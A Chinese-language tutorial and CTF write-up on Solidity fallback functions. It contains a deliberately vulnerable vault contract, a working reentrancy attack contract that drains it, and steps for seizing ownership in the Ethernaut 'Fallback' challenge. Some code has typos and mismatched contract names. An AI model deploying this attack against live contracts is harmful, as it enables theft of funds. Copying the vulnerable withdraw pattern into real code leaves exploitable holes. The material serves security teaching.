一、前言部分
在以太坊中使用Solidity编写智能合约的过程中会由于机制的问题而导致各种各样的问题出现。我们都知道,越是简单的函数,越是使用方便那么越会使开发人员对其掉以轻心。而这些方便的函数又会在开发的过程中被大量使用,也就意味着倘若它们存在某些机制上的问题,那么带来的影响是十分巨大的。
而在本章中,我们主要介绍两个函数的漏洞详情,Fackback()
以及Tx.Origin
。而在合约的编写过程中,这两个函数的使用频率是非常高的。例如第一个函数,由于它的机制所在,所以它在部署转账函数的时候是必须存在的。这也就意味着在转账的过程中会存在着安全隐患。由于转账又是黑客所攻击的最终目标,所以这个函数机制的安全性可想而知。
下面,我们就针对这两个函数的具体内容进行介绍,并给出相关实例进行赛题分析。
二、函数介绍
1 Fallback()函数
想要了解一个函数的安全性,那么我们就必须要了解它是如何运行的,存在哪些底层的机制。所以这里我们首先对该Fackback()
进行分析。搞清它具体的利用场景以及特点。
在分析一个函数的时候,我们首先要学会分析它的文档。
具体官方文档见Fallback Function。
对于每一个合约来说,它都会有一个没用名字的函数。这个函数不需要声明、不需要拥有参数、不需要拥有返回值。除此之外,它需要外部可见才行。下面我们可以看一个简单的例子:
pragma solidity ^0.4.0;
contract SimpleFallback{
function(){
//fallback function
}
}
函数就如同上面的模样。
那我们就有了一些疑问。这个函数什么时候会被调用呢?
首先我们来看下面的合约:
pragma solidity ^0.4.23;
contract ExecuteFallback{
//回退事件,会把调用的数据打印出来
event FallbackCalled(bytes data);
//fallback函数,注意是没有名字的,没有参数,没有返回值的
function(){
FallbackCalled(msg.data);
}
//调用已存在函数的事件,会把调用的原始数据,请求参数打印出来
event ExistFuncCalled(bytes data, uint256 para);
//一个存在的函数
function existFunc(uint256 para){
ExistFuncCalled(msg.data, para);
}
// 模拟从外部对一个存在的函数发起一个调用,将直接调用函数
function callExistFunc(){
bytes4 funcIdentifier = bytes4(keccak256("existFunc(uint256)"));
this.call(funcIdentifier, uint256(1));
}
//模拟从外部对一个不存在的函数发起一个调用,由于匹配不到函数,将调用回退函数
function callNonExistFunc(){
bytes4 funcIdentifier = bytes4(keccak256("functionNotExist()"));
this.call(funcIdentifier);
}
}
在上面的代码中,我们可以发现其中拥有函数existFunc ()
,并且拥有callExistFunc ()
对其进行调用。除此之外,为了模拟对一个不存在函数的调用,我们部署了callNonExistFunc ()
函数,来调用不存在的functionNotExist()
。部署如下:
之后,我们首先调用存在函数:callExistFunc ()
。我们看到:
[
{
"from": "0x692a70d2e424a56d2c6c27aa97d1a86395877b3a",
"topic": "0xb776d49293459725ca7d6a5abc60e389d2f3d067d4f028ba9cd790f696599846",
"event": "ExistFuncCalled",
"args": {
"0": "0x42a788830000000000000000000000000000000000000000000000000000000000000001",
"1": "1",
"data": "0x42a788830000000000000000000000000000000000000000000000000000000000000001",
"para": "1",
"length": 2
}
}
]
看到log日志中的data
值为0x42a78883000000000000000000....
。(这里使用的是event事件,专门用于快速返回log值的)。
其中第一个数据是调用该函数时,传过来的原始数据,前四个字节42a78883
,是existFunc()
的方法签名,指明是对该函数进行调用,紧跟其后的是函数的第一个参数0000000000000000000000000000000000000000000000000000000000000001
,表示的是uin256值1。
之后我们调用方法callNonExistFunc ()
,得到图如下:
[
{
"from": "0x692a70d2e424a56d2c6c27aa97d1a86395877b3a",
"topic": "0x17c1956f6e992470102c5fc953bf560fda31fabee8737cf8e77bdde00eb5698d",
"event": "FallbackCalled",
"args": {
"0": "0x69774a91",
"data": "0x69774a91",
"length": 1
}
}
]
而这里我们能够发现Event--FallbackCalled()
被调用了。也就是意味着
function(){
FallbackCalled(msg.data);
}
被系统执行。除此之外,当我们调用的函数找不到时才会触发对fallback函数的自动调用。当调用callNonExistFunc()
,由于它调用的functionNotExist()
函数在合约中实际并不存在。故而,实际会触发对fallback函数的调用,运行后会触发FallbackCalled
事件,说明fallback被调用了。事件输出的数据是,FallbackCalled[ "0x69774a91"]
,0x69774a91是调用的原始数据,是调用的functionNotExist()
函数的四字节的函数签名。
总结来说,当调用的函数找不到时,就会调用默认的fallback函数。
那此处还有别的途径来调用回调函数吗?
答案是有的,根据我们前言部分所说,Fallback
函数与转账函数有莫大的关系。所以当我们使用address.send(ether to send)
向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数,我们来看看下面的例子:
pragma solidity ^0.4.0;
contract FallbackTest{
event fallbackEvent(bytes data);
function() payable{fallbackEvent(msg.data);}
function deposit() payable returns (bool){
return this.send(msg.value);
}
//查询当前的余额
function getBalance() constant returns(uint){
return this.balance;
}
event SendEvent(address to, uint value, bool result);
//使用send()发送ether,观察会触发fallback函数
function sendEther(){
bool result = this.send(1);
SendEvent(this, 1, result);
}
}
在合约部署中,我们在sendEther()
函数中部署了send()
转账函数。而根据我们的概念了解,当合约进行此函数调用时,会由于行为没有发送任何数据所以调用回调函数。那我们进行测试:
在上述的代码中,我们先要使用deposit()
合约存入一些ether,否则由于余额不足,调用send()
函数将报错。存入ether后,我们调用sendEther()
,使用send()
向合约发送数据。
所以send()
函数会调用fallback,我们就知道这样的话会默认执行很多函数。倘若合约编写人员没有严格书写内容,则会导致安全事件。这个行为非常危险,著名的DAO被黑也与这有关。如果我们在分红时,对一系列帐户进行send()
操作,其中某个做恶意帐户中的fallback
函数实现了一个无限循环,将因为gas耗尽,导致所有send()
失败。为解决这个问题,send()函数当前即便gas充足,也只会附带限定的2300gas,故而fallback函数内除了可以进行日志操作外,你几乎不能做任何操作。
简单来讲:
调用递归深度不能超过1024
如果gas不够,那么执行会失败
使用这个方法要检查成功与否
transfer相对send较为安全
二、漏洞详情与CTF题目例子
如果调用者调用一个不存在的函数时,fallback函数仍然可以使用。倘若你需要执行fallback函数为了取出以太币,那么你需要添加判断条件:require(msg.data.length == 0)
以防止不合法的请求。
倘若合约直接使用send或者transfer进行对以太币的提取并且没有定义fallback函数的话,那么系统会抛出异常并归还以太币。所以我们在部署的合约中进行转账操作时需要添加fallback函数的编写。
下面,我们就针对fallback函数来分析一下实例中存在的题目。
1 实例题目
假设我们现在需要一个以太坊功能平台,这个平台的功能类似于金库。你只能在一天内取一次钱,并且取钱的金额有一定的限度。那么我们的合约应该是如何的呢?
pragma solidity ^0.4.23;
contract BankStore {
//分别表示金额上限、存储取钱时间、存储金额
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
//传入取钱金额
function withdrawFunds (uint256 _weiToWithdraw) public {
// 需要用户金额大于所需提取金额、需要提取金额不能超过限度、需要距离上次提取时间大于一周
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 days);
//使用call函数执行转账操作,向msg.sender转账_weiToWithdraw以太币
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能。depositFunds()
和 withdrawFunds()
。该 depositFunds()
功能只是增加发件人余额。该 withdrawFunds() 功能允许发件人指定要取出的以太币的数量。如果所要求的退出金额小于 1Ether 并且在一天内发生取出,它才会成功。
我们现在来分析一下这个合约。在介绍攻击方法前,我们需要看一下一些基础概念:
当你通过addr.call.value()()
的方式发送ether时,和send()
一样,fallback函数会被调用,但是传递给fallback
函数可用的气是当前剩余的所有气(可能会是很多),这时fallback
函数可以做的事情就有很多(如写storage
、再次调用新的智能合约等等)。一个精心设计的用于做恶的fallback
可以做出很多危害系统的事情。
而对于一个指定合约地址的 call 调用,可以调用该合约下的任意函数。在这个例子中,会调用攻击合约的fallback()
函数。
而我们在这里放入攻击合约:
contract Attack {
EtherStore public etherStore;
// 初始化合约代码
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackStore() public payable {
// 调用存钱函数,使改账户在银行中存部分钱
etherStore.depositFunds.value(1 ether)();
// 攻击重点所在
etherStore.withdrawFunds(1 ether);
}
// fallback 函数
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
下面我们来具体的分析下攻击是如何产生的。
首先,我们需要初始化BankStore合约,传入参数并实例化
etherStore
。之后我们在攻击合约界面中调用
attackStore()
。首先我们需要在BankStore
合约变量中存入1个以太币(因为只有存钱了才能取钱)。然后调用
therStore.withdrawFunds(1 ether)
函数,此函数用于调用BankStore
合约中的取钱函数。而在本函数中我们能够看到:
// 需要用户金额大于所需提取金额、需要提取金额不能超过限度、需要距离上次提取时间大于一周
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 days);
而我们存过部分钱(有可能之前也存过许多钱,所以我们可以假设这里有100Eth)、而且我们只取了1eth,所以也满足第二个条件、而且我们这是第一次调用,所以没有超过一天,所以也满足第三个条件。
然而根据我们上面介绍,当我们调用
BankStore
合约中withdrawFunds()
函数时,会执行msg.sender.call.value(_weiToWithdraw)()
。而我们知道,call()
函数调用的时候会运行调用函数方(攻击者合约)的fallback()
函数。即
unction () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
- 此时又会执行
etherStore.withdrawFunds(1 ether);
。而我们发现其三个require()
仍然满足(因为它把修改条件放到了msg.sender.call.value(_weiToWithdraw)()后面):
之后子子孙孙无穷尽。一直递归调用转账,从而达到了绕过那些判断条件的情况。
停止时要看:回调函数中的
if (etherStore.balance > 1 ether)
。当你的合约中的余额不足1以太币的时候,那就停止递归调用了。emmmm可怕
最终的结果是,攻击者只用一笔交易,便立即从 BankStore 合约中取出了(除去 1 个 Ether 以外)所有的 Ether。
2 竞赛题目
下面,我们看一道竞赛题目:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
大致分析题目后我们得知,这个题目的目的有两个:
即让我们成为合约的owner并且将账户的金额转账为0。
针对合约内容我们分析:想要成为owner,我们能够发现在底部有个函数:
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
这个函数就是我们文章中一直提及的fallback()
函数。所以我们调用send函数进行转账就可以调用。但是在调用之前,我们需要领自己的合约中有钱才行。
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
在这个函数中我们知道,我们可以通过这个函数不断的取钱,并且当
contributions[msg.sender] > contributions[owner]
(自己的钱大于系统的钱时)就可以成为合约owner。然而,上面限制了我们转账的次数。我们只可以一次转账0.001个以太币。所以要很久才能够满足这个条件,所以放弃。
于是我们考虑方法一。所以我们首先先给自己的账户中转点钱进去:
之后我们确认Tx。
得到:
此时我们查看我们的账户钱财:
里面有1个钱币。
之后我们进行转账:
在转账函数调用后,会自动调用fallback函数。此时我们查看合约的owner:
成功的改变了owner为自己。之后我们调用转账函数:
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
之后我们将合约提交,能够看到我们已经满足题目要求。
三、参考链接
https://solidity.readthedocs.io/en/latest/contracts.html?highlight=fallback#fallback-function
http://me.tryblockchain.org/blockchain-solidity-fallback.html
https://www.sohu.com/a/126951493_104036
https://ethernaut.zeppelin.solutions
本稿为原创稿件,转载请标明出处。谢谢。
首发于先知社区,https://xz.aliyun.com/t/3637